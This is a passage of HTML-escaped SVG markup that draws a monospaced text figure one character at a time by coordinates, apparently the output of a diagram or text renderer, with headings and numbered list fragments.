&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;144&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;152&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;160&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;1&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;2&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;3&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;4&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;6&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;168&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;176&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;184&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;D&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;U&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;u&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;192&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;200&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;208&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;u&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;216&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;u&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;m&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;224&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;H&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;232&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;T&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;m&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;356&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;240&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;212&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;248&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;+&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
